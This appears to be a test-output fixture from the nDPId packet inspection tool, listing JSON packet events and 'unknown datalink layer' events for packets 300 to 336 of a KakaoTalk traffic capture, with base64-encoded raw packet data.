+00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":300,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":301,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":565039,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/zPGAbDFzfqnbw1SapdqgB5z1HBFQBxF85uI1KzGY3ybLEfW8nQQ\/1+1qxNXI4ynVVhWwQGA8Trlq"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":301,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":302,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":579627,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/HoaAbDFwfqnQg1SapdoQs3Y5iVn5hovBOYM+tGYfZxhc\/PB+73mEKhLPQaHOsrtssSPQ411C9uuu"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":302,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":303,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":580817,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/7TmAbE7rizpymguGVRnBoy5Nf9Oxk2c8DU8kbNgjqdXi0fE0ZDkgunUO9xEo+lixyG6vUU6DD6mp"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":303,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":304,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":584021,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/zPGAbDFxfqnUQ1SapdquaRL\/Ka+qdXNipt70iJ7llwPdZTZ8mtu+UgEfL5RqqC2lHtV1kqVMqbBZ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":304,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":305,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":605200,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/oseAbDF0fqnfg1Sapdo+gAxUeKu2WQ0QNGMYSezZQcEK3ijngyus2nLfUp\/nTDCT4\/aD7qGtQMni"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":305,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":306,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":609290,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/exeAbE7uizp92guGVRkZQTsNyRTLbsQKXBSeBKdW3aWSoKiFF42DStHMSnbs0JYOdH7ufgepggjX"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":306,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":307,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":609442,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/9OSAbE7vizqBmguGVRlBQK\/Lpmc9+7fpjMSRp4sCNujI0bC5JhmO7KRHxH\/TzaMVY9pa5g52CxGT"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":307,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":308,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":609595,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/R5iAbDFyfqnYA1SapdqfByTNSoLQkZQkZMRyg2+gYHZiCQb5xL6qp+yXxsFJ1YdJ27+5npUlBX4n"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":308,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":309,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":635779,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/L4uAbE7sizp2WguGVRlYgYGbsxPYhQ+2gyiFESMLOzqmbgcx4XinMPKSvFnY3eyMarcjAIEkK4H7"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":309,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":310,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":643836,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/zf+AbDF1fqnjQ1Sapdp7iMBPSRWxCbUID3olO\/wxIzepkfSF\/MGYFjt8YK7rd\/qhbF3N\/RS+YVKc"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":310,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":311,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":647681,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/TxuAbE7tizp6GguGVRnSMqWffdYokOGLCjGrs\/LGUny6kv08kNw69cH5CWiCGA+UHFNkE+vYSb0H"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":311,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":312,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":689521,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/yNeAbDFzfqnbw1SapdqgB5z1HBFQBxF85uI1KzGY3ybLEfW8nQQ\/1+1qxNXI4ynVVhWwQGA8Trlq"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":312,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":313,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":708533,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/\/vGAbE7wizqFWguGVRl6hlam0SyhGU5fEplJcm+KM6t03mpR1n5uPABumvn9P4KXqaWyWrgzE\/Ph"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":313,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":314,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":728919,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/nq2AbDF0fqnfg1Sapdo+gAxUeKu2WQ0QNGMYSezZQcEK3ijngyus2nLfUp\/nTDCT4\/aD7qGtQMni"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":314,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":315,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":735694,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/fzGAbE7uizp92guGVRkZQTsNyRTLbsQKXBSeBKdW3aWSoKiFF42DStHMSnbs0JYOdH7ufgepggjX"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":315,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":316,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":743567,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/+P6AbE7vizqBmguGVRlBQK\/Lpmc9+7fpjMSRp4sCNujI0bC5JhmO7KRHxH\/TzaMVY9pa5g52CxGT"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":316,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":317,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":745612,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAQBHaRQoYUrwByQGuKBxaBgBJkquAbDF2fqnnA1SapdqSBznp5pRHd1zKdLXXJeXOQC17R2iw+Ll74rdHF2wHxFMvocGh7\/vVI474zKWbJf0wbMp8Cw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":317,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":318,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":786231,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHoAAEAAQBHaKAoYUrwByQGuKBxaBgBmclyAbDF3fqnqw1SapdqL7l8o67qEc1ey5wOuFsCc4PUBBG14S+z\/V2UN3ibKM\/VdoxM3HuWpDv4gx+7Dtba0bEAv3f+Tpkn4U3RIrj6+h+CDO0jogTJQKDbROiDM32v\/"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":318,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":319,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":795691,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/yeWAbDF1fqnjQ1Sapdp7iMBPSRWxCbUID3olO\/wxIzepkfSF\/MGYFjt8YK7rd\/qhbF3N\/RS+YVKc"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":319,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":320,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":807868,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/jy+AbE7xizqJGguGVRn6a0Q9vTF0UA4hnvM8Gvoc3SXBzpyVqPVuQ5gIryXUZwrtDhHutOGkfj4c"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":320,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":321,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":808966,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/62CAbE7yizqM2guGVRllqXieQNZVlI0O\/bC6WX9\/OopDdLqIK9aZ8VnawzHtv+XIL68F0gNWpG3g"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":321,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00459{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":322,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":822760,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGUAAEAAQBHaPQoYUrwByQGuKBxaBgBRlMuAbDF4fqnug1SapdpRuk86B76iAO0XfdJjqfeAoMJjqGv0MK72tCD8ghtRA0phyNlbb8tdYzeMDP7LdlSIsFcDBaXCiSzrUKwO"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":322,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":323,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":835517,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/AwyAbE7wizqFWguGVRl6hlam0SyhGU5fEplJcm+KM6t03mpR1n5uPABumvn9P4KXqaWyWrgzE\/Ph"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":323,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":324,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":879553,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHRH9HQHJAa4KGFK8WgQsOABJjpGAbDF2fqnnA1SapdqSBznp5pRHd1zKdLXXJeXOQC17R2iw+Ll74rdHF2wHxFMvocGh7\/vVI474zKWbJf0wbMp8Cw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":324,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":325,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":907691,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/\/PeAbE7zizqQmguGVRlGoTYdzsaRpe3uHE6RH9VbnWOjW\/6Vmu7TCFwZ7QAEznd8IEzjYuxQwIdf"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":325,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":326,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":908881,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/BJqAbE70izqUWguGVRnLbpeCXC7ViC2Ok1P830gKWShMuYF3KSZAUTnPnJMNasBVsywFu9hjHgZG"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":326,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":327,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":920142,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAQBHaRgoYUrwByQGuKBxaBgBI6uKAbDF5fqnyQ1Sapdrwxt2HIzgb4MaqqHDrZhawU1aXCgh8LwNzepuRoYbF5f5NB5KUu3XTAsf5ch2pZb8xITyh"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":327,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":328,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":947486,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHoAAEAAHRH9AAHJAa4KGFK8WgQsOABmbkKAbDF3fqnqw1SapdqL7l8o67qEc1ey5wOuFsCc4PUBBG14S+z\/V2UN3ibKM\/VdoxM3HuWpDv4gx+7Dtba0bEAv3f+Tpkn4U3RIrj6+h+CDO0jogTJQKDbROiDM32v\/"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":328,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":329,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":947791,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/k0mAbE7xizqJGguGVRn6a0Q9vTF0UA4hnvM8Gvoc3SXBzpyVqPVuQ5gIryXUZwrtDhHutOGkfj4c"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":329,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":330,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":957434,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/QsGAbDF6fqn2A1SapdoiSUrLhi1SIA6g8PTDTszv\/7bM88REyxutmNjNPsU1fPJ6hZFB+\/fT+XLi"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":330,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":331,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":979468,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/73qAbE7yizqM2guGVRllqXieQNZVlI0O\/bC6WX9\/OopDdLqIK9aZ8VnawzHtv+XIL68F0gNWpG3g"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":331,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00459{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":332,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069174,"pkt_ts_usec":979529,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGUAAEAAHRH9FQHJAa4KGFK8WgQsOABRkLGAbDF4fqnug1SapdpRuk86B76iAO0XfdJjqfeAoMJjqGv0MK72tCD8ghtRA0phyNlbb8tdYzeMDP7LdlSIsFcDBaXCiSzrUKwO"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":332,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":333,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":7605,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/TkaAbE71izqYGguGVRmFeo6Jacns\/\/20Nor1KhRaaylw4x9kDO76sf2ooiy7UewRYUpSCXCJj5LR"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":333,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":334,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":18531,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAQBHaRQoYUrwByQGuKBxaBgBJZq2AbDF7fqn5w1SapdpVtEoVAFzKuwH\/\/CICCDIGiSe2pYz0GzPreqLbmeQmcuIIaM64165G2ixsk1qoYNPqw4DNng=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":334,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":335,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":35620,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/ARKAbE7zizqQmguGVRlGoTYdzsaRpe3uHE6RH9VbnWOjW\/6Vmu7TCFwZ7QAEznd8IEzjYuxQwIdf"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":335,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":336,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":49048,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/CLSAbE70izqUWguGVRnLbpeCXC7ViC2Ok1P830gKWShMuYF3KSZAUTnPnJMNasBVsywFu9hjHgZG"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":336,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 